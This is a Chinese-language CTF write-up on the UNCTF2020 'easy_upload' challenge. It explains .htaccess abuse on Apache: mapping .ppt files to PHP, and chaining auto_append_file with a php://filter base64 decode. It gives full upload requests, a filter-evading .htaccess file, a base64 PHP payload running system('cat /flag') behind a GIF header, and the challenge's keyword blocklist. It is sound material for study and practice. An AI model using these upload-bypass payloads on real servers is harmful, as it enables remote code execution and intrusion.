.htaccess文件在CTF中的解析
htaccess 相关攻击/绕过原理
该文档一直会处于更新的状态
1. htaccess 的概念
htaccess ,也被称为“分布式配置文件”,被用来作为服务器端的目录下配置网页文件,即开发者可以利用这个文件加入对于后端操控的指令,来控制目录及其所有的子目录,被广泛用于 Apache
服务器中。
htaccess 的作用:
- 进行网页内容的重定向;
- 自定义 404 错误页面;
- 改变文件的扩展名;
- 允许/阻止 用户去访问特定的目录;
- 禁止相关目录列表;
- 设定后端基本默认文档的功能;
htaccess 的缺点:
- 容易被非授权的用户编辑的
htaccess
文件覆盖,从而导致整个后端的安全性降低,因此容易被 Bypass。
htaccess 的语法:
- 第一,为后端不能执行的文件类型增加执行的权限,即将
ppt
后缀的文件当作php
文件执行;
处理 PHP 文件时用到: Add Type
,即: Add Type application/x-httpd-php .php
上述的代码将所有 .php
为后缀的所有文件当作了 PHP 的文件进行处理,可能这么说会有一点别扭,但是其实从 htaccess
容易被绕过的特性,上边的语句可以被攻击者篡改,从后边的CTF的题目可以详细了解到这个覆盖的过程。
- 第二,在
htaccess
的文件中增加对应的 Require 文件;
php_value auto_append_file "php://filter/convert.base64-decode/resource=mn.ppt"
上边的这条命令,为所有的PHP文件增加了:引用外部PHP的文件,引用的格式被规定成了 base64
的编码形式,因此这种配置可以绕过文件内容的字符检查形式;
2. 历年CTF练习题
第一篇都稍微有点啰嗦,后边的会精简很多..
2.1 UNCTF2020 - easy_upload
题目的地址:https://unctf.hackingfor.fun/#/train
这个题目稍微有一点难,我也是基本上做了好久好久才真的完整地做出来,因此看这个部分的题目稍微有点耐心。
首先需要分析这个页面,页面的构成非常简单,就是这个图片:
分析一下,好像没有啥分析的,从简单的界面上就可以看出来,代码没几行,一个 form
一个 button
就解决了问题,最后一行给出回显。
但是还是稍微分析一下源码:
并没有什么指导的意义,因此我们需要尝试一下能够上传文件的类型,可以编写几个简单的测试例子来试一下后台的逻辑,首先需要确定,后台逻辑处理的语言类型到底是什么?是 PHP 还是 Python?
这个时候用到了非常好用的一个神器:Burp Suite
;
其实我一开始对整个软件也是非常陌生的,因此并不知道怎么使用,只知道 需要挂起代理,这里稍微详细地说一下怎么使用这款软件。
对于初始化Burp Suite
就不详细地去说了,简单的默认配置即可,下图说一下用到的具体Tab:
首先需要点击 Proxy
的 Tab 来打开代理,进行监听,内嵌的浏览器的内核为:Chrome,响应可能会比较慢,需要一定的耐心来等待。
在浏览器输入题目的网址,然后等待响应,这个时候新的请求通过:Proxy
- HTTP history
就可以看到,
我们先需要创建一些流量来进行分析,我们需要构建一些常见的文件类型来进行判别,首先必须明确的是构建的必须是可执行的文件,因此可以构建的为: PHP
以及 Python
的文件。
尝试构建的PHP文件,demo.php
:
<?php
echo "Hello!";
>
构建一个新的请求(Request),即上传上边给出的 demo.php
的相关内容,
POST /index.php HTTP/1.1
Host: 1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye9lG1eyj1bI6326S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="fileUpload"; filename="demo.php"
Content-Type: text/php
<?php
echo "Demo!";
>
------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="upload"
submit
------WebKitFormBoundarye9lG1eyj1bI6326S--
在上边的给出的结果需要明晰,就是 Accept 给出了接受的类型,从上边来看接受的类型主要包括了:xml
以及 image/apng
,即可以接受与图片相关的文件内容。
下边需要分析一下接收的回显(Response);
提示错误 - "filename error",即不能接收与 .php
后缀相关的文件;
我们需要明确一下下边的内容:首先第一个需要明确的,是 openresty
,这是一个 Nginx 的一个高性能 Web 服务器,在这个服务器配置中是允许修改.htaccess
的文件的,其次就是必须要注意到,后台的PHP版本:PHP/5.4.16
,这些都是非常关键的信息点。
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Thu, 18 Mar 2021 12:57:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 958
Connection: close
X-Powered-By: PHP/5.4.16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>UPLOAD</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/style1.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
<div class="container">
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
<p class="change_link" style="text-align: center">
<strong>filename error</strong>
</br>
<strong></strong>
</br>
<strong></strong>
</p>
</form>
</div>
</div>
</body>
</html>
从上边看,想在后端执行 PHP 的相关代码,构建一个假的 png 的文件包含 PHP 代码,放到后端执行;
对上边的文件名,稍作一下修改,即上传一个假的 PNG 图片,更改demo.php
的后缀为 demo.png
,上传,通过 Burp Suite 的代理分析数据包,发送的包的内容如下:
------WebKitFormBoundaryWhgXY768XH84AqlX
Content-Disposition: form-data; name="fileUpload"; filename="demo.png"
Content-Type: image/png
<?php
echo "Demo!";
>
得到的回显(Response),发现了非法字符 的包含内容:
<p class="change_link" style="text-align: center">
<strong>perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!</strong>
</br>
<strong></strong>
</br>
<strong></strong>
</p>
因此我们不能在上传的内容中包含 php
相关的字符,因此需要用到正则表达式 或者 base64
的加密编码来绕过相应的检查机制,但是首先我们必须制作一个 htaccess
的模板文件来将所有的 ppt
文件后缀识别成 php
文件,因此可以被后端的 PHP 框架执行;
构建一个新的htaccess
文件,因为我使用的是 Mac OS 的操作系统,在这个操作系统下所有的.*
类型文件都会被隐藏,如果你想要显示所有的隐藏文件,按住: Shift + Command + .
,在上传的界面也是这个组合键就可以找到隐藏的上传文件了。
.htaccess
文件的内容:
AddType application/x-httpd-p\
hp .ppt
p\
hp_value a\
uto_append_file "p\
hp://filter/convert.b\
ase64-decode/resource=mn.ppt"
解释一下上边的内容,因为对 非法字符敏感,可以使用编码的 \
进行绕过;另外就是将所有 ppt
后缀的文件当做了 PHP 进行执行;为我们即将上传的 mn.ppt
添加 base64 编码解析。
编写完成之后,通过 Burp Suite 软件修改 Content Type
,操作流程为:浏览器上传 - Burp Suite (Proxy - HTTP history)- 选中对应的条目 - 右键条目 - 选中:Send to Repeater - 修改 Content-Type: image/jpeg - 单击 Send。 重放一下我们之前的数据包。
我们现在已经知道了相关文件的存储路径了,现在,需要编写关于的 PHP 代码的内容,源码的内容为:
<?php system('cat /flag');?>
经过 base64 编码之后的内容为:
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
伪装一下即将发送的文件内容,前边增加一下 jpeg 的开头: GIF89a12
即 mn.ppt
的内容为:
GIF89a12
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
还是使用刚才重放的办法,上传到靶机的后端,只要上传之后出现对应的路径信息即可;
访问对应的路径下的文件,我们已经得到了 flag
的值;
一些思考:
1.后端的 Server API 到底是不是 openresty/1.17.8.2
?
将文件 mn.ppt
内容更改一下,即 PHP 内容为:
<?php phpinfo();?>
Base64 编码:
PD9waHAgcGhwaW5mbygpOz8+
得到:
发现:Server API 的版本为: Apache 2.0 Handler,即不是 Response 回显的相关内容,即存在对于后端返回的修改,这种情况怎么去判别呢?
- 目前我也不知道怎么去判别,因为一般来说做了负载均衡就很难知道 Server 的类型是什么了...
- 这个问题留到后边再慢慢解决...